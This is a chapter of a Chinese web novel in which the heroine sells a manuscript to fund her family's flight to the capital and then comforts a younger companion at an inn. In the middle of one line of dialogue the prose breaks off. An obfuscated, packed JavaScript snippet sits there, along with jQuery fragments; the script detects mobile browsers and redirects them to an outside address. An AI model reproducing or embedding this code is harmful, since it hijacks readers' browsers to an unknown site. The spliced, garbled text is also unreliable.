就这样，一路走一路下苦力或当货郎，赚的钱虽不多，却刚好能支撑路上的吃喝费用。


    过了十来天，施黎等人终于到了一座大城，此处城墙高大，连通水运，乃是周遭经济中心，十分的繁华。


    不过因为反贼近在咫尺，所以进入城门查得很严，施黎等人百般解释也不被放入，只能拿出这段日子所攒的全部钱财才得以入内。


    有了银钱开路，她们立刻从有可能是反贼奸细变成了大大的良民，不过即使如此，守城官兵也只肯放两个人进去。


    施黎跟赵长安等人商议了一番，最终决定由她自己进去，再带上麦丰就行了。


    施黎在墨痕书斋好歹也当了这么久的掌柜，再也不是过去那个什么都不懂的小白，谈价和销售方面有她都不成问题，至于麦丰自然是武力担当安全保障了，有她两人便尽够了。


    入得城中只见一片繁华，人山人海，百姓丝毫没有被有人造反的事影响，个个谈天说地或者为生活奔波忙碌。


    几文钱找来一个帮闲，打听得城中有五家书肆，从老板脾性到书肆生意情况如何，帮闲都如数家珍，这些人就是干这一行的，算得上是古代版人力百度。当初施黎刚穿来时对这些都不熟悉，要是在扶峰县找个帮闲随便打听打听也不至于会被陈氏书肆骗了。


    打听清楚后，施黎认准了一家中等偏上规模的书斋，这家主人听闻曾是朝廷官员，如今致仕在家，其家人便在城中开了个书铺，也算一个相对文雅的产业。


    之所以找上这家书斋，正是因为这家书斋背后主人的官员身份，施黎隐约记得这位仿佛跟赵家依靠的族姐那边有一些渊源。


    帮闲引她们到了地方，只见三层塔式书楼，颇有意趣，进得楼里有书童迎出，询问施黎二人要购买什么书。


    施黎拱手行礼，问明掌柜所在，便拿着书稿直接找人去了。


    那掌柜啥个年过五十的女人，瘦弱却带着文气，施黎并没隐瞒什么，直言她是墨痕书斋的掌柜，又抬出赵林和她族姐的名字。


    掌柜见她虽然破衣烂衫一脸憔悴，气度却不是能装出来的，况且对书斋中大小事宜都十分清楚，心下已经信了五六分。


    “近来有贼造反，听闻前边几座城已经沦陷，施掌柜莫不是……”


    “不错，”施黎叹气，“府城上下官员腐败毫不作为，贼兵又来势汹汹，我与家主等不得不背井离乡，如今正要前往京城，只是一路艰险家财散尽，不得以才找上贵宝地。因主家族姐与你之家主也曾有些渊源，还望行些方便。”


    对方犹豫了一下，问：“不知施掌柜需要些什么？”


    “不敢腆颜乞食，我这里有书稿一份，本是准备印发，不料贼兵突至，只能卖了这稿换得一些银钱赶路。”


    女人松了口气，接过书稿一看顿觉不凡，于是请施黎二人小坐，自己带上叆叇认真看了起来。


    大约过了两刻钟左右，这掌柜心中已经大定且颇为欣喜。


    “果然好故事，你我主家既有旧，施掌柜只管开口，只要不是太过分，我必然不会推辞。”


    施黎报出早就想好的价钱：“就作价二百六十两如何？”


    对方只稍微犹豫了一会就同意了，当下立了文书，拿了银票出来。


    施黎接过银票的时候心中真是五味杂陈，没想到兜兜转转《西游记》还是没能由她经手出版，不过这两百多两的价值远超平常的两千两万，只要能让她们顺利到达京城，一切都好说。


    有了钱，其他人也被准许进城了。施黎又托帮闲找了家不错的酒店，众人洗漱吃喝，好不快乐。


    赵林看着眼前并算不得多好的饭菜也是感动得泪花闪闪，她几次拿起筷子又放下。


    施黎和施家人跟赵林与赵长安同坐一桌，见她这样子赵长安便轻声问：“家主，怎么了？”


    “只是心有所感罢了，”赵林叹息，“过去曾饱读诗书，观其中苦难觉得不过如此，如今亲自体验了才知道什么叫做百姓之苦，我等还能有衣有食，还能有办法获取些银钱，那些普通百姓又能怎么办呢，不是饿死冻死就是被逼为贼，这世道……过去常缩在家中享乐不思进取自认风流，如今家破人亡才知道……”


    才知道什么赵林没说，只是含泪吃了好几碗米饭，又嘱咐施黎为她买了几本书，开始每日勤学用功。看她那样子，好像是经过这一遭打算用心考功名了。


    这对施黎来说也算一件好事，老板身份越高，她作为手底下的员工获利就越多。


    晚上开了几间房，施黎和施原睡在一起，两人都叫了水好生把自己收拾了一番，最后躺在柔软的床铺中不由得发出满足的叹息。


    “终于是挺过来了，”施原感叹，“一个不好命就没了，这段时间大家都瘦了不少呢。”


    “是啊，”施黎也道，“大姐，你现在瘦得跟刚从王家回来似的。”


    施原一笑：“你又好到哪里去了，还有云齐，好不容易胖了一些，这下又瘦得跟麦杆子似的。”


    “是啊，不过现在有钱了，我算了下，走水路去京城一百二十两银子尽够了，今天花了一些，还剩不少。一路上的吃喝就可以安排得好一些，保准大家又全胖回来。”


    “那就好，”施原笑着笑着又偷偷哭了起来，“我只想着保儿，不知道他……他还在不在了。”


    施黎不知道如何安慰，一切安慰在生与死面前都显得徒劳。施原这一哭起来就止不住，蜷缩在床上拿枕头挡着脸。


    “你别看，大女人哭哭啼啼的让人笑话。”


    “我又没笑话你。”


    “那也不准看。”


    施黎无奈，在屋里待着也有些烦闷便问施原吃不吃些汤圆。


    施原点点头，她现在又变回了施黎刚认识她那阵，只要有吃的就来者不拒。


    施黎便披上衣服外出去找店小二，要了几碗汤圆，给施原和施老太都送了一碗，又敲开了云齐的房门。


    “阿姐，你怎么来了？”


    云齐打开门把施黎迎进去。他也刚刚洗浴过，长发披散在肩头，还有些潮湿。


    “我给你带


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080640|163194||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点夜宵，这段时日大家都饿着了，得赶紧补回来。别看现在年轻，不注意以后老了可有罪受了。”


    云齐笑了起来：“阿姐，你现在说活怎么跟阿婆一样唠叨？”


    “还不是操心你吗？这头发怎么不擦干呢，现在天气冷了，这么披着不会干的，晚上睡了会头痛。”


    “头发太长了，擦了一会实在手疼，就想歇一会再说。”


    “那你吃，我帮你弄。”


    云齐忽然有些脸红，但却低了头只顾吃汤圆，也不说不用了之类的话。


    施黎前世爱游泳，遇上大夏天游泳馆人多的时候抢不到吹风机，就全靠自己把头发甩干，她对如何快速弄干头发还算是有一点心得，站在云齐背后边开始帮他弄头发。


    “嘶……”


    “怎么啦，弄痛你了？”


    云齐强撑着说：“没事，阿姐你随便弄吧。”


    “那我轻点啊。唉，瞧瞧，你头发都发黄分叉了，就是这段日子吃睡不好的原因，等着我找小二拿把剪刀为你修整一下。”


    云齐没有拦她，等吃了两个汤圆后施黎就回来了。手上拿着一把精巧的小剪子，一边为云齐修理发黄分叉的头发一边跟他絮絮叨叨一些心里的烦闷。


    “阿姐，你说……妖精可以变成人吗？”


    “妖精变成人？”施黎只当他是聊斋看多了，一时正色道，“那些志怪小说都是骗人的，你可不要真信了，以后随便来个骗子就能把你骗得团团转。”


    “我觉得妖精能变成人，”云齐笑着说，“不过世上也有好妖怪，笨笨的又很能干。”


    施黎摇头：“小孩子就是喜欢想些乱七八糟的。”


    “我还小么？”云齐忽然问，转过头来看着施黎。


    施黎一愣，仔细想了想，忽想起再过几个月云齐就该满十七了：“我差点忘了，是提醒我别忘了你生日对不对，记着呢，到时候应该也到了京城，阿姐给你好好办操办一下。”


    云齐有些失望的垂下眼眸，他的睫毛又直又长，在眼窝下投下一片漂亮的阴影。


    “怎么忽然不高兴了？”


    “没有不高兴……”云齐说道，“只是近来经历太多了，见到好多人死去，我有些害怕……”


    “谁不害怕呢？”施黎叹息，“我也怕死了。”


    云齐忽又笑起来，看着施黎道：“阿姐你真可爱。”


    “什么？”


    “一般女人总是不承认自己害怕的。”


    施黎也笑起来：“女人男人都是人，是人就会害怕呀。”


    “对的……可是我特别怕，舅舅和表姐刚来不久又跟我分开了。阿姐，我太害怕你们也离开我。”


    “不会的。”施黎心一软，伸手摸摸云齐的头发，他还是个少年，这几年因为营养好已经抽条了一大截，看着不像过去那么像个孩子了。


    “阿姐……我们永远不分开好不好？”云齐说，目光有些渴求又执拗的盯着施黎。


    “不分开，”施黎笑着对他说，“我们永远是一家人。”